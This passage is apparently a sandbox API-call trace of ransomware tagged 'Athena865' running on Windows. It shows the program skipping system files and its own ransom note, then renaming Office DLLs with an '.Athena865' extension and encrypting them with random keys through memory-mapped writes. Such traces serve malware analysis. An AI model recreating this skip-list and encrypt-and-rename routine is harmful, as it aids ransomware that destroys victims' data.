lstrcmpiW (lpString1="MAPIR.DLL", lpString2=".") returned 1 [0141.769] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="..") returned 1 [0141.769] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="windows") returned -1 [0141.769] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="bootmgr") returned 1 [0141.769] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="temp") returned -1 [0141.769] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="pagefile.sys") returned -1 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="boot") returned 1 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="ids.txt") returned 1 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="ntuser.dat") returned -1 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="perflogs") returned -1 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2="MSBuild") returned -1 [0141.770] lstrlenW (lpString="MAPIR.DLL") returned 9 [0141.770] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MAPIR.DLL" | out: lpString1="MAPIR.DLL") returned="MAPIR.DLL" [0141.770] lstrlenW (lpString="MAPIR.DLL") returned 9 [0141.770] lstrlenW (lpString="Athena865") returned 9 [0141.770] lstrlenW (lpString=".dll") returned 4 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2=".dll") returned 1 [0141.770] lstrlenW (lpString=".lnk") returned 4 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2=".lnk") returned 1 [0141.770] lstrlenW (lpString=".ini") returned 4 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2=".ini") returned 1 [0141.770] lstrlenW (lpString=".sys") returned 4 [0141.770] lstrcmpiW (lpString1="MAPIR.DLL", lpString2=".sys") returned 1 [0141.770] lstrlenW (lpString="MAPIR.DLL") returned 9 [0141.770] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.Athena865") returned 67 [0141.770] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.athena865"), dwFlags=0x1) returned 1 [0141.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.772] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1124720) returned 1 [0141.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.773] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.774] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.774] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.774] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x112c70, lpName=0x0) returned 0x17c [0141.775] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x112c70) returned 0x2bb0000 [0141.809] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.810] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.810] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.810] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.810] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.811] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0141.820] CloseHandle (hObject=0x17c) returned 1 [0141.820] CloseHandle (hObject=0x154) returned 1 [0141.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.820] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.829] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x1a780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MAPIR.DLL.IDX_DLL", cAlternateFileName="MAPIRD~1.IDX")) returned 1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2=".") returned 1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="..") returned 1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="windows") returned -1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="bootmgr") returned 1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="temp") returned -1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="pagefile.sys") returned -1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="boot") returned 1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="ids.txt") returned 1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="ntuser.dat") returned -1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="perflogs") returned -1 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2="MSBuild") returned -1 [0141.829] lstrlenW (lpString="MAPIR.DLL.IDX_DLL") returned 17 [0141.829] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MAPIR.DLL.IDX_DLL" | out: lpString1="MAPIR.DLL.IDX_DLL") returned="MAPIR.DLL.IDX_DLL" [0141.829] lstrlenW (lpString="MAPIR.DLL.IDX_DLL") returned 17 [0141.829] lstrlenW (lpString="Athena865") returned 9 [0141.829] lstrcmpiW (lpString1="L.IDX_DLL", lpString2="Athena865") returned 1 [0141.829] lstrlenW (lpString=".dll") returned 4 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2=".dll") returned 1 [0141.829] lstrlenW (lpString=".lnk") returned 4 [0141.829] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2=".lnk") returned 1 [0141.830] lstrlenW (lpString=".ini") returned 4 [0141.830] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2=".ini") returned 1 [0141.830] lstrlenW (lpString=".sys") returned 4 [0141.830] lstrcmpiW (lpString1="MAPIR.DLL.IDX_DLL", lpString2=".sys") returned 1 [0141.830] lstrlenW (lpString="MAPIR.DLL.IDX_DLL") returned 17 [0141.830] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.Athena865") returned 75 [0141.830] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.athena865"), dwFlags=0x1) returned 1 [0141.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPIR.DLL.IDX_DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapir.dll.idx_dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.832] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108416) returned 1 [0141.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.832] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.833] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.833] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.833] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.834] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1aa80, lpName=0x0) returned 0x17c [0141.835] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1aa80) returned 0x100000 [0141.839] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.839] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.839] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.840] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0141.841] CloseHandle (hObject=0x17c) returned 1 [0141.841] CloseHandle (hObject=0x154) returned 1 [0141.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.842] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xf2dd30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x907d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MAPISHELLR.DLL", cAlternateFileName="MAPISH~1.DLL")) returned 1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".") returned 1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="..") returned 1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="windows") returned -1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="bootmgr") returned 1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="temp") returned -1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="pagefile.sys") returned -1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="boot") returned 1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="ids.txt") returned 1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="ntuser.dat") returned -1 [0141.842] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="perflogs") returned -1 [0141.843] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2="MSBuild") returned -1 [0141.843] lstrlenW (lpString="MAPISHELLR.DLL") returned 14 [0141.843] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MAPISHELLR.DLL" | out: lpString1="MAPISHELLR.DLL") returned="MAPISHELLR.DLL" [0141.843] lstrlenW (lpString="MAPISHELLR.DLL") returned 14 [0141.843] lstrlenW (lpString="Athena865") returned 9 [0141.843] lstrcmpiW (lpString1="HELLR.DLL", lpString2="Athena865") returned 1 [0141.843] lstrlenW (lpString=".dll") returned 4 [0141.843] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".dll") returned 1 [0141.843] lstrlenW (lpString=".lnk") returned 4 [0141.843] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".lnk") returned 1 [0141.843] lstrlenW (lpString=".ini") returned 4 [0141.843] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".ini") returned 1 [0141.843] lstrlenW (lpString=".sys") returned 4 [0141.843] lstrcmpiW (lpString1="MAPISHELLR.DLL", lpString2=".sys") returned 1 [0141.843] lstrlenW (lpString="MAPISHELLR.DLL") returned 14 [0141.843] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.Athena865") returned 72 [0141.843] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.athena865"), dwFlags=0x1) returned 1 [0141.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MAPISHELLR.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mapishellr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.845] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=591832) returned 1 [0141.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.845] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.845] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.846] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.846] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.846] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x90ae0, lpName=0x0) returned 0x17c [0141.847] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x90ae0) returned 0x2bb0000 [0141.866] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.866] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.866] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.867] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0141.872] CloseHandle (hObject=0x17c) returned 1 [0141.872] CloseHandle (hObject=0x154) returned 1 [0141.872] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.873] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.875] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50aa7c40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x100fb0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MERES.DLL", cAlternateFileName="")) returned 1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2=".") returned 1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="..") returned 1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="windows") returned -1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="bootmgr") returned 1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="temp") returned -1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="pagefile.sys") returned -1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="boot") returned 1 [0141.875] lstrcmpiW (lpString1="MERES.DLL", lpString2="ids.txt") returned 1 [0141.876] lstrcmpiW (lpString1="MERES.DLL", lpString2="ntuser.dat") returned -1 [0141.876] lstrcmpiW (lpString1="MERES.DLL", lpString2="perflogs") returned -1 [0141.876] lstrcmpiW (lpString1="MERES.DLL", lpString2="MSBuild") returned -1 [0141.876] lstrlenW (lpString="MERES.DLL") returned 9 [0141.876] lstrcpyW (in: lpString1=0x241e8a8, lpString2="MERES.DLL" | out: lpString1="MERES.DLL") returned="MERES.DLL" [0141.876] lstrlenW (lpString="MERES.DLL") returned 9 [0141.876] lstrlenW (lpString="Athena865") returned 9 [0141.876] lstrlenW (lpString=".dll") returned 4 [0141.876] lstrcmpiW (lpString1="MERES.DLL", lpString2=".dll") returned 1 [0141.876] lstrlenW (lpString=".lnk") returned 4 [0141.876] lstrcmpiW (lpString1="MERES.DLL", lpString2=".lnk") returned 1 [0141.876] lstrlenW (lpString=".ini") returned 4 [0141.876] lstrcmpiW (lpString1="MERES.DLL", lpString2=".ini") returned 1 [0141.876] lstrlenW (lpString=".sys") returned 4 [0141.876] lstrcmpiW (lpString1="MERES.DLL", lpString2=".sys") returned 1 [0141.876] lstrlenW (lpString="MERES.DLL") returned 9 [0141.876] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.Athena865") returned 67 [0141.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.athena865"), dwFlags=0x1) returned 1 [0141.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0141.878] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1052592) returned 1 [0141.878] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0141.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0141.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0141.879] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0141.879] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0141.880] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.880] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1012b0, lpName=0x0) returned 0x17c [0141.881] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1012b0) returned 0x2bb0000 [0141.915] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0141.915] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0141.915] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0141.915] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0141.915] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0141.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0141.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0141.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0141.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0141.916] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0141.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0141.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0141.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0141.916] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0141.925] CloseHandle (hObject=0x17c) returned 1 [0141.925] CloseHandle (hObject=0x154) returned 1 [0141.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0141.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0141.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0141.930] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe105a200, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1ba28770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe105a200, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x6cf68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MOR6INT.DLL", cAlternateFileName="")) returned 1 